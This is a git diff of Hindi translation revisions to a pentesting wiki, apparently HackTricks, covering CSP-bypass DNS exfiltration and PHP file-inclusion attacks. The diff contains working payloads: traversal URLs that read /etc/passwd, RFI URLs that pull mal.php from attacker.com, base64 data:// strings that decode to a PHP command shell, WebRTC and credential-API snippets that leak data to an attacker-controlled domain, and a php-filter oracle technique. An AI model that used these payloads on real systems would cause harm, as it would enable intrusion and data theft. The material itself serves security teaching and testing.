p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
@ -707,7 +725,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
### CredentialsContainer
क्रेडेंशियल पॉपअप बिना पृष्ठ द्वारा प्रतिबंधित हुए iconURL पर एक DNS अनुरोध भेजता है। यह केवल एक सुरक्षित संदर्भ (HTTPS) या लोकलहोस्ट पर काम करता है।
credential popup पृष्ठ द्वारा प्रतिबंधित किए बिना iconURL पर एक DNS अनुरोध भेजता है। यह केवल सुरक्षित संदर्भ (HTTPS) या localhost पर ही काम करता है।
```javascript
navigator.credentials.store(
new FederatedCredential({
@ -718,12 +736,12 @@ iconURL:"https:"+your_data+"example.com"
})
)
```
## CSP नीतियों की ऑनलाइन जांच
## CSP नीतियों की ऑनलाइन जाँच
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com/)
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
## CSP स्वचालित रूप से बनाना
## CSP को स्वचालित रूप से बनाना
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
@ -737,6 +755,7 @@ iconURL:"https:"+your_data+"example.com"
- [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
- [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
​

357
src/pentesting-web/file-inclusion/README.md
View File

@ -4,14 +4,14 @@
## File Inclusion
**Remote File Inclusion (RFI):** फाइल एक रिमोट सर्वर से लोड होती है (सबसे अच्छा: आप कोड लिख सकते हैं और सर्वर उसे निष्पादित करेगा). In php यह डिफ़ॉल्ट रूप से **अक्षम** है (**allow_url_include**).\
**Local File Inclusion (LFI):** सर्वर एक स्थानीय फ़ाइल लोड करता है.
**Remote File Inclusion (RFI):** फाइल एक remote सर्वर से लोड होती है (Best: आप कोड लिख सकते हैं और सर्वर उसे execute करेगा)। In php यह डिफ़ॉल्ट रूप से **disabled** है (**allow_url_include**).\
**Local File Inclusion (LFI):** सर्वर एक local फ़ाइल लोड करता है।
The vulnerability तब होती है जब यूज़र किसी तरह उस फाइल को नियंत्रित कर सकता है जिसे सर्वर लोड करने वाला है.
यह vulnerability तब उत्पन्न होती है जब user किसी तरह उस फ़ाइल को control कर सकता है जिसे server लोड करने वाला है।
Vulnerable **PHP functions**: require, require_once, include, include_once
कमज़ोर **PHP functions**: require, require_once, include, include_once
एक रोचक टूल इस vulnerability को exploit करने के लिए: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
एक उपयोगी टूल इस vulnerability को exploit करने के लिए: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE files
```python
@ -19,43 +19,43 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
```
### **Linux**
**कई \*nix LFI सूची मिलाकर और अधिक paths जोड़कर मैंने यह बनाया है:**
**कई \*nix LFI सूचियों को मिलाकर और अधिक पथ जोड़कर मैंने यह बनाई है:**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
साथ ही `/` को `\` में बदलकर भी आज़माएँ\
साथ ही `../../../../../` जोड़कर भी आज़माएँ
यह भी आज़माएँ कि `/` को `\`\
यह भी आज़माएँ कि `../../../../../` जोड़ें
कई तकनीकों का उपयोग करके फ़ाइल /etc/password खोजने के लिए (जाँचने के लिए कि कमज़ोरी मौजूद है) एक सूची [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) मिल सकती है
फ़ाइल /etc/password खोजने के लिए कई तकनीकों का प्रयोग करने वाली एक सूची (कमज़ोरी के मौजूद होने की जाँच के लिए) [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) पर मिल सकती है।
### **Windows**
विभिन्न wordlists का merge:
विभिन्न wordlists का मिश्रण:
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
साथ ही `/` को `\` में बदलकर भी आज़माएँ\
साथ ही `C:/` हटाकर `../../../../../` जोड़कर भी आज़माएँ
यह भी आज़माएँ कि `/` को `\`\
यह भी आज़माएँ कि `C:/` हटाएँ और `../../../../../` जोड़ें
कई तकनीकों का उपयोग करके फ़ाइल /boot.ini खोजने के लिए (जाँचने के लिए कि कमज़ोरी मौजूद है) एक सूची [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) मिल सकती है
फ़ाइल /boot.ini खोजने के लिए कई तकनीकों का प्रयोग करने वाली एक सूची (कमज़ोरी के मौजूद होने की जाँच के लिए) [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) पर मिल सकती है।
### **OS X**
linux की LFI सूची चेक करें।
linux की LFI सूची देखें।
## बुनियादी LFI और bypasses
सभी उदाहरण Local File Inclusion के लिए हैं लेकिन Remote File Inclusion पर भी लागू किए जा सकते हैं (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
सभी उदाहरण Local File Inclusion के लिए हैं लेकिन इन्हें Remote File Inclusion पर भी लागू किया जा सकता है (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
```
http://example.com/index.php?page=../../../etc/passwd
```
### traversal sequences गैर-रेकर्सिव रूप से हटाए गए
### traversal sequences को गैर-पुनरावर्ती रूप से हटाया गया
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -63,59 +63,59 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
प्रदान किए गए string के अंत में अतिरिक्त characters जोड़ दिए जाने को बायपास करें (bypass of: $\_GET\['param']."php")
Bypass प्रदत्त स्ट्रिंग के अंत में अतिरिक्त characters जोड़ने को रोकने के लिए (bypass of: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
यह **PHP 5.4 से सुलझा हुआ है**
यह **PHP 5.4 के बाद से हल हो चुका है**
### **एन्कोडिंग**
आप गैर-मानक एन्कोडिंग्स का उपयोग कर सकते हैं, जैसे double URL encode (और अन्य):
आप non-standard encodings का उपयोग कर सकते हैं, जैसे double URL encode (और अन्य):
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### मौजूदा folder से
### मौजूदा फ़ोल्डर से
शायद back-end folder path की जाँच कर रहा है:
शायद back-end फ़ोल्डर पथ की जाँच कर रहा है:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### सर्वर पर फ़ाइल सिस्टम डायरेक्टरीज़ का अन्वेषण
### सर्वर पर फ़ाइल सिस्टम निर्देशिकाओं का अन्वेषण
कुछ तकनीकों का उपयोग करके सर्वर के फ़ाइल सिस्टम को पुनरावर्ती तरीके से खोजा जा सकता है ताकि केवल फ़ाइलें ही नहीं बल्कि डायरेक्टरीज़ भी पहचानी जा सकें। इस प्रक्रिया में डायरेक्टरी की गहराई निर्धारित करना और विशिष्ट फ़ोल्डरों के अस्तित्व की जांच शामिल है। इसे प्राप्त करने के लिए नीचे एक विस्तृत तरीका दिया गया है:
किसी सर्वर के फ़ाइल सिस्टम को कुछ तकनीकों का उपयोग करके रिकर्सिव तरीके से खोजा जा सकता है ताकि केवल फ़ाइलें ही नहीं बल्कि निर्देशिकाओं (directories) की भी पहचान हो सके। यह प्रक्रिया वर्तमान निर्देशिका की गहराई निर्धारित करने और विशिष्ट फ़ोल्डरों के अस्तित्व की जाँच करने पर आधारित है। इसे प्राप्त करने का एक विस्तृत तरीका नीचे दिया गया है:
1. **डायरेक्टरी गहराई निर्धारित करें:** अपनी वर्तमान डायरेक्टरी की गहराई जानें, `/etc/passwd` फाइल को सफलतापूर्वक प्राप्त करके (यदि सर्वर Linux-आधारित है तो लागू)। एक उदाहरण URL निम्नलिखित संरचना में हो सकता है, जो तीन की गहराई प्रदर्शित करता है:
1. **निर्देशिका गहराई निर्धारित करें:** अपनी वर्तमान निर्देशिका की गहराई की पुष्टि `/etc/passwd` फ़ाइल को सफलतापूर्वक प्राप्त करके करें (यदि सर्वर Linux-आधारित है)। उदाहरण URL निम्नलिखित संरचना का हो सकता है, जो तीन स्तर की गहराई का संकेत देता है:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Probe for Folders:** संदिग्ध फ़ोल्डर का नाम (उदा., `private`) URL में जोड़ें, फिर `/etc/passwd` पर वापस जाएँ। अतिरिक्त डायरेक्टरी स्तर के कारण depth को एक बढ़ाना होगा:
2. **फ़ोल्डरों की जाँच:** URL में संदिग्ध फ़ोल्डर का नाम जोड़ें (उदा., `private`) और फिर `/etc/passwd` पर वापस जाएँ। अतिरिक्त डायरेक्टरी स्तर के कारण depth को एक बढ़ाना होगा:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **परिणामों की व्याख्या करें:** सर्वर का जवाब संकेत देता है कि फ़ोल्डर मौजूद है या नहीं:
- **त्रुटि / कोई आउटपुट नहीं:** निर्दिष्ट स्थान पर `private` फ़ोल्डर संभवतः मौजूद नहीं है।
- **Contents of `/etc/passwd`:** `private` फ़ोल्डर मौजूद होने की पुष्टि होती है।
4. **पुनरावर्ती अन्वेषण:** मिले हुए फ़ोल्डरों की उप-डायरेक्टरीज़ या फ़ाइलों के लिए उसी तकनीक या पारंपरिक Local File Inclusion (LFI) तरीकों का उपयोग कर आगे परीक्षण किया जा सकता है।
3. **परिणामों की व्याख्या:** सर्वर का उत्तर यह संकेत देता है कि फोल्डर मौजूद है या नहीं:
- **Error / No Output:** फ़ोल्डर `private` संभवतः निर्दिष्ट स्थान पर मौजूद नहीं है।
- **Contents of `/etc/passwd`:** `private` फ़ोल्डर की उपस्थिति की पुष्टि होती है।
4. **Recursive Exploration:** पाए गए फ़ोल्डरों की आगे उपनिर्देशिकाएँ या फाइलें उसी तकनीक या पारंपरिक Local File Inclusion (LFI) तरीकों का उपयोग करके और जांची जा सकती हैं।
फाइल सिस्टम में अलग-अलग स्थानों पर डायरेक्टरीज़ की जांच करने के लिए payload को तदनुसार समायोजित करें। उदाहरण के लिए, यह जांचने के लिए कि `/var/www/` में `private` डायरेक्टरी है या नहीं (मानते हुए कि वर्तमान डायरेक्टरी की गहराई 3 है), उपयोग करें:
फ़ाइल सिस्टम में अलग-अलग स्थानों पर निर्देशिकाओं का पता लगाने के लिए, payload को उसी के अनुसार समायोजित करें। उदाहरण के लिए, यह जाँचने के लिए कि `/var/www/` में `private` निर्देशिका है या नहीं (मान लेते हैं कि वर्तमान निर्देशिका गहराई 3 पर है), उपयोग करें:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Path truncation एक तरीका है जिसका उपयोग वेब एप्लिकेशन में फाइल पथों को बदलने के लिए किया जाता है। इसका अक्सर उपयोग उन प्रतिबंधित फ़ाइलों तक पहुंचने के लिए किया जाता है जिन्हें फ़ाइल पथों के अंत में अतिरिक्त अक्षर जोड़ने वाले कुछ सुरक्षा उपाय बायपास करके छुपाया जाता है। लक्ष्य ऐसा फाइल पथ बनाना है कि सुरक्षा उपाय द्वारा बदला जाने पर भी वह इच्छित फ़ाइल की ओर इशारा करे।
Path truncation एक तरीका है जो वेब एप्लिकेशन में फ़ाइल पथों को मैनिपुलेट करने के लिए उपयोग होता है। इसे अक्सर प्रतिबंधित फ़ाइलों तक पहुँचने के लिए इस्तेमाल किया जाता है, ताकि उन सुरक्षा उपायों को बायपास किया जा सके जो फ़ाइल पथों के अंत में अतिरिक्त चरित्र जोड़ते हैं। उद्देश्य यह है कि ऐसा फ़ाइल पथ तैयार किया जाए कि सुरक्षा उपाय द्वारा बदलने के बाद भी वह इच्छित फ़ाइल की ओर इशारा करे।
In PHP, फाइल सिस्टम की प्रकृति के कारण किसी फ़ाइल पथ के विभिन्न रूप समान माने जा सकते हैं। उदाहरण के लिए:
In PHP, विभिन्न प्रतिनिधित्वों को फ़ाइल सिस्टम की प्रकृति के चलते समान माना जा सकता है। उदाहरण के लिए:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` को सभी एक ही पथ माना जाता है।
- जब अंतिम 6 अक्षर `passwd` हों, तो अंत में `/` जोड़ने (जिससे यह `passwd/` बनता है) लक्ष्य फ़ाइल को बदलता नहीं है।
- इसी तरह, अगर किसी फ़ाइल पथ में `.php` जोड़ा गया हो (जैसे `shellcode.php`), तो अंत में `/.` जोड़ने से एक्सेस की जा रही फ़ाइल बदलती नहीं है।
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` सभी को एक ही पथ माना जाता है।
- जब अंतिम 6 अक्षर `passwd` हों, तो अंत में `/` जोड़ना (इसे `passwd/` बना देने से) लक्षित फ़ाइल नहीं बदलती।
- इसी तरह, यदि किसी फ़ाइल पथ के साथ `.php` जुड़ा हो (जैसे `shellcode.php`), तो अंत में `/.` जोड़ने से एक्सेस की जा रही फ़ाइल में कोई परिवर्तन नहीं होता।
The provided examples demonstrate how to utilize path truncation to access `/etc/passwd`, a common target due to its sensitive content (उपयोगकर्ता खाता जानकारी):
निम्न उदाहरण दिखाते हैं कि कैसे path truncation का उपयोग करके `/etc/passwd` तक पहुँच प्राप्त की जा सकती है, जो अपनी संवेेदनशील सामग्री (उपयोगकर्ता खाता जानकारी) के कारण एक सामान्य लक्ष्य है:
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -125,15 +125,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
इन मामलों में, आवश्यक traversals की संख्या लगभग 2027 हो सकती है, लेकिन यह संख्या सर्वर की कॉन्फ़िगरेशन के आधार पर बदल सकती है।
इन परिदृश्यों में आवश्यक traversals की संख्या लगभग 2027 हो सकती है, लेकिन यह संख्या सर्वर की कॉन्फ़िगरेशन के आधार पर बदल सकती है।
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) और अतिरिक्त dot segments और characters के संयोजन से फ़ाइल सिस्टम में नेविगेट किया जा सकता है, और सर्वर द्वारा जोड़े गए appended strings को प्रभावी रूप से अनदेखा किया जा सकता है।
- **Determining the Required Number of Traversals**: Trial and error के माध्यम से, कोई भी यह पता लगा सकता है कि रूट निर्देशिका तक और फिर `/etc/passwd` तक पहुँचने के लिए कितनी `../` sequences की आवश्यकता है, यह सुनिश्चित करते हुए कि किसी भी appended strings (जैसे `.php`) को neutralize किया गया है पर इच्छित path (`/etc/passwd`) बरकरार रहता है।
- **Starting with a Fake Directory**: यह सामान्य प्रथा है कि path की शुरुआत एक non-existent directory (जैसे `a/`) से की जाए। यह technique सावधानी के तौर पर या सर्वर के path parsing logic की आवश्यकताओं को पूरा करने के लिए उपयोग की जाती है।
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) को अतिरिक्त dot segments और characters के साथ मिलाकर file system में नेविगेट करने के लिए उपयोग किया जा सकता है, जिससे सर्वर द्वारा जोड़े गए appended strings प्रभावी रूप से अनदेखा हो जाते हैं।
- **Determining the Required Number of Traversals**: trial and error के माध्यम से, कोई सही संख्या `../` sequences पता कर सकता है जो root directory तक और फिर `/etc/passwd` तक नेविगेट करने के लिए आवश्यक हो, यह सुनिश्चित करते हुए कि किसी भी appended strings (जैसे `.php`) को neutralize किया गया है लेकिन इच्छित path (`/etc/passwd`) अपरिवर्तित रहता है।
- **Starting with a Fake Directory**: यह एक आम प्रथा है कि path को non-existent directory (जैसे `a/`) से शुरू किया जाए। यह technique सुरक्षा के तौर पर या सर्वर की path parsing logic की आवश्यकताओं को पूरा करने के लिए इस्तेमाल की जाती है।
path truncation techniques का उपयोग करते समय, सर्वर के path parsing व्यवहार और फ़ाइल सिस्टम की संरचना को समझना अनिवार्य है। हर परिदृश्य के लिए अलग दृष्टिकोण आवश्यक हो सकता है, और सबसे प्रभावी तरीका खोजने के लिए अक्सर परीक्षण आवश्यक होता है।
जब path truncation techniques का उपयोग किया जा रहा हो, तो सर्वर के path parsing व्यवहार और filesystem संरचना को समझना महत्वपूर्ण है। हर परिदृश्य अलग तरीका मांग सकता है, और सबसे प्रभावी method खोजने के लिए अक्सर testing आवश्यक होती है।
**This vulnerability was corrected in PHP 5.3.**
**यह vulnerability PHP 5.3 में ठीक की गई थी।**
### **Filter bypass tricks**
```
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
php में यह डिफ़ॉल्ट रूप से disabled है क्योंकि **`allow_url_include`** **Off.** इसे काम करने के लिए **On** होना चाहिए, और उस स्थिति में आप अपने सर्वर से एक PHP फ़ाइल include करके RCE प्राप्त कर सकते हैं:
PHP में यह डिफ़ॉल्ट रूप से अक्षम होता है क्योंकि **`allow_url_include`** **Off** है। इसे काम करने के लिए **On** होना चाहिए, और उस स्थिति में आप अपने सर्वर से एक PHP फ़ाइल include करके RCE प्राप्त कर सकते हैं:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
यदि किसी कारणवश **`allow_url_include`** **On** है, लेकिन PHP बाहरी वेबपेजों तक पहुँच को **filtering** कर रहा है, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), तो आप उदाहरण के लिए data protocol को base64 के साथ उपयोग करके b64 PHP कोड को डिकोड करके egt RCE प्राप्त कर सकते हैं:
यदि किसी कारण से **`allow_url_include`** **On** है, लेकिन PHP बाहरी वेबपेजों तक पहुँच को **filtering** कर रहा है, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), तो आप उदाहरण के लिए data protocol के साथ base64 का उपयोग करके b64 PHP code को डिकोड करके RCE प्राप्त कर सकते हैं:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
> पिछले कोड में, अंतिम `+.txt` इसलिए जोड़ा गया था क्योंकि हमलावर को एक string चाहिए था जो `.txt` पर खत्म होता हो, इसलिए string इसके साथ खत्म होता है और b64 decode के बाद वह भाग केवल जंक लौटाएगा और असली PHP code included होगा (और इसलिए, executed)।
> पिछले कोड में, अंतिम `+.txt` इसलिए जोड़ा गया था क्योंकि attacker को एक ऐसे string की जरूरत थी जो `.txt` में खत्म होता हो, इसलिए string इसके साथ खत्म होता है और b64 decode के बाद वह हिस्सा बस जंक लौटाएगा और असली PHP code include (और इसलिए, executed) हो जाएगा।
एक और उदाहरण **`php://` प्रोटोकॉल का उपयोग न करते हुए** होगा:
एक और उदाहरण **`php://` protocol का उपयोग न करते हुए** होगा:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python रूट एलिमेंट
Python में इस तरह के कोड में:
python में, इस तरह के कोड में:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
यदि उपयोगकर्ता **absolute path** को **`file_name`** में पास करता है, तो **previous path बस हटा दिया जाता है**:
यदि उपयोगकर्ता **absolute path** को **`file_name`** में पास करता है, तो **previous path** बस हटा दिया जाता है:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
यह [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) के अनुसार अपेक्षित व्यवहार है:
It is the intended behaviour according to [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> यदि कोई component एक absolute path है, तो पहले के सभी components हटा दिए जाते हैं और joining absolute path component से जारी रहती है।
> यदि कोई component एक absolute path है, तो सभी पिछले components हटा दिए जाते हैं और joining absolute path component से जारी रहती है।
## Java डायरेक्टरी सूची
ऐसा लगता है कि यदि आपके पास Java में एक Path Traversal है और आप फ़ाइल के बजाय **डायरेक्टरी के लिए अनुरोध करते हैं**, तो **डायरेक्टरी की सूची लौटाई जाती है**। यह अन्य भाषाओं में नहीं होगा (जितना मुझे पता है)।
ऐसा लगता है कि यदि Java में आपके पास Path Traversal है और आप **file** की बजाय **directory** के लिए अनुरोध करते हैं, तो उस **directory** की **listing** वापस कर दी जाती है। यह अन्य भाषाओं में (जहाँ तक मुझे पता है) नहीं होगा।
## शीर्ष 25 पैरामीटर
## Top 25 parameters
यहाँ शीर्ष 25 पैरामीटरों की सूची है जो local file inclusion (LFI) vulnerabilities के प्रति संवेदनशील हो सकते हैं (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
यहाँ शीर्ष 25 पैरामीटरों की सूची है जो local file inclusion (LFI) vulnerabilities के लिए vulnerable हो सकते हैं (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -211,38 +211,38 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
?mod={payload}
?conf={payload}
```
## LFI / RFI using PHP wrappers & protocols
## LFI / RFI का उपयोग PHP wrappers & protocols
### php://filter
PHP filters पढ़े या लिखे जाने से पहले डेटा पर बुनियादी **संशोधन ऑपरेशन** करने की अनुमति देते हैं। इन फ़िल्टर्स की 5 श्रेणियाँ हैं:
PHP filters आपको डेटा को पढ़ने या लिखने से पहले उस पर बुनियादी **मॉडिफिकेशन ऑपरेशन करने** की अनुमति देते हैं। filters के 5 कैटेगरी हैं:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: डेटा से टैग हटाएँ (\"<\" और \">\" अक्षरों के बीच की हर चीज)
- `string.strip_tags`: डेटा से टैग्स हटा देता है (जो "<" और ">" chars के बीच है)
- Note that this filter has disappear from the modern versions of PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : किसी अन्य encoding में बदलता है (`convert.iconv.<input_enc>.<output_enc>`)। समर्थित **सभी एन्कोडिंग्स की सूची** पाने के लिए कंसोल में चलाएँ: `iconv -l`
- `convert.iconv.*` : एक अलग encoding में बदलता है (`convert.iconv.<input_enc>.<output_enc>`). सपोर्ट किए गए सभी encodings की **सूची** पाने के लिए console में चलाएँ: `iconv -l`
> [!WARNING]
> `convert.iconv.*` conversion filter का दुरुपयोग करके आप **मनमाना टेक्स्ट उत्पन्न** कर सकते हैं, जो मनमाना टेक्स्ट लिखने या include जैसे फ़ंक्शन को मनमाना टेक्स्ट प्रोसेस करने के लिए उपयोगी हो सकता है। अधिक जानकारी के लिए देखें [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
> Abusing the `convert.iconv.*` conversion filter you can **generate arbitrary text**, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: कंटेंट को compress करता है (useful if exfiltrating a lot of info)
- `zlib.deflate`: कंटेंट को संपीड़ित करता है (useful if exfiltrating a lot of info)
- `zlib.inflate`: डेटा को decompress करता है
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : अप्रचलित
- `mdecrypt.*` : अप्रचलित
- `mcrypt.*` : Deprecated
- `mdecrypt.*` : Deprecated
- Other Filters
- PHP में `var_dump(stream_get_filters());` चलाने पर आप कुछ **अनपेक्षित फ़िल्टर्स** पा सकते हैं:
- php में `var_dump(stream_get_filters());` चलाने पर आप कुछ **अनपेक्षित filters** पा सकते हैं:
- `consumed`
- `dechunk`: HTTP chunked encoding को उलट देता है
- `dechunk`: HTTP chunked encoding को reverse करता है
- `convert.*`
```php
# String Filters
@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> "php://filter" भाग केस-संवेदी नहीं है
> "php://filter" हिस्सा केस-संवेदनशील नहीं है
### php filters को oracle के रूप में उपयोग करके किसी भी फ़ाइल पढ़ना
### php filters को oracle के रूप में उपयोग करके किसी भी फ़ाइल को पढ़ना
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) में एक तकनीक प्रस्तावित की गई है जो सर्वर से आउटपुट वापस मिले बिना स्थानीय फ़ाइल पढ़ने के लिए है। यह तकनीक php filters को oracle के रूप में उपयोग करके फ़ाइल की **boolean exfiltration (char by char)** पर आधारित है। ऐसा इसलिए है क्योंकि php filters का उपयोग टेक्स्ट को इतना बड़ा करने के लिए किया जा सकता है कि php एक exception फेंक दे।
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) एक ऐसी तकनीक प्रस्तावित की गई है जिससे सर्वर से आउटपुट वापस दिए बिना लोकल फ़ाइल पढ़ी जा सकती है। यह तकनीक **boolean exfiltration of the file (char by char) using php filters** पर आधारित है और इसका आधार यह है कि php filters का उपयोग किसी टेक्स्ट को इतना बड़ा बनाने के लिए किया जा सकता है कि php एक exception फेंक दे।
मूल पोस्ट में आप तकनीक का विस्तृत विवरण पा सकते हैं, लेकिन यहाँ एक संक्षिप्त सारांश है:
मूल पोस्ट में तकनीक की विस्तृत व्याख्या है, लेकिन यहाँ एक संक्षेप:
- कोडेक **`UCS-4LE`** का उपयोग करें ताकि टेक्स्ट का अग्रिम अक्षर शुरुआत में रहे और स्ट्रिंग का आकार घातीय रूप से बढ़ जाए।
- यह इसका उपयोग एक ऐसा **टेक्स्ट उत्पन्न** करने के लिए किया जाएगा जो इतना बड़ा होगा (जब प्रारंभिक अक्षर सही अनुमानित हो) कि php एक **error** ट्रिगर कर देगा।
- **dechunk** filter सब कुछ हटा देगा अगर पहला char hexadecimal नहीं है, इसलिए हम जान सकते हैं कि पहला char hex है या नहीं।
- यह, पिछले वाले के साथ मिलकर (और अनुमानित अक्षर पर निर्भर अन्य filters), हमें टेक्स्ट की शुरुआत के एक अक्षर का अनुमान लगाने की अनुमति देगा — हम देखेंगे कि कब हम पर्याप्त transformations करते हैं जिससे वह hexadecimal character न रहे। क्योंकि अगर hex है, तो dechunk उसे नहीं हटाएगा और प्रारंभिक बम php error उत्पन्न कर देगा।
- कोडेक **convert.iconv.UNICODE.CP930** हर अक्षर को अगले में बदलता है (इसलिए इस codec के बाद: a -> b)। यह हमें पता लगाने की अनुमति देता है कि पहला अक्षर उदाहरण के लिए `a` है क्योंकि अगर हम इस codec को 6 बार लागू करें तो a->b->c->d->e->f->g हो जाएगा और अक्षर अब hexadecimal character नहीं रहेगा, इसलिए dechunk उसे नहीं हटाएगा और php error ट्रिगर हो जाएगा क्योंकि यह प्रारंभिक बम के साथ गुणा होता है।
- शुरुआत में **rot13** जैसे अन्य transformations का उपयोग करके n, o, p, q, r जैसे अन्य chars को leak करना संभव है (और अन्य codecs का उपयोग अन्य अक्षरों को hex रेंज में लाने के लिए किया जा सकता है)।
- जब प्रारंभिक char एक संख्या हो तो उसे base64 encode करना आवश्यक है और संख्या को leak करने के लिए पहले 2 अक्षरों को leak करना होगा।
- अंतिम समस्या यह देखना है कि **प्रारंभिक अक्षर से अधिक कैसे leak किया जाए**। order memory filters जैसे **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** का उपयोग करके chars का क्रम बदलना और टेक्स्ट के अन्य अक्षरों को पहले स्थिति में लाना संभव है।
- और आगे डेटा प्राप्त करने के लिए विचार यह है कि शुरुआत में **convert.iconv.UTF16.UTF16** के साथ **2 bytes का junk data उत्पन्न** किया जाए, फिर **UCS-4LE** लागू करके इसे अगले 2 bytes के साथ **pivot** कराया जाए, और **delete the data until the junk data** (यह प्रारंभिक टेक्स्ट के पहले 2 bytes को हटा देगा)। इसे तब तक जारी रखें जब तक आप leak करने वाले इच्छित बिट तक नहीं पहुँचते।
- Use the codec **`UCS-4LE`** ताकि टेक्स्ट का leading character शुरुआत में रहे और स्ट्रिंग का साइज घातीय रूप से बढ़े।
- यह उपयोग किया जाएगा ताकि एक **text so big when the initial letter is guessed correctly** बन सके जिससे php एक **error** ट्रिगर करेगा।
- The **dechunk** filter **remove everything if the first char is not an hexadecimal**, इसलिए हम जान पाएँगे कि पहला char hex है या नहीं।
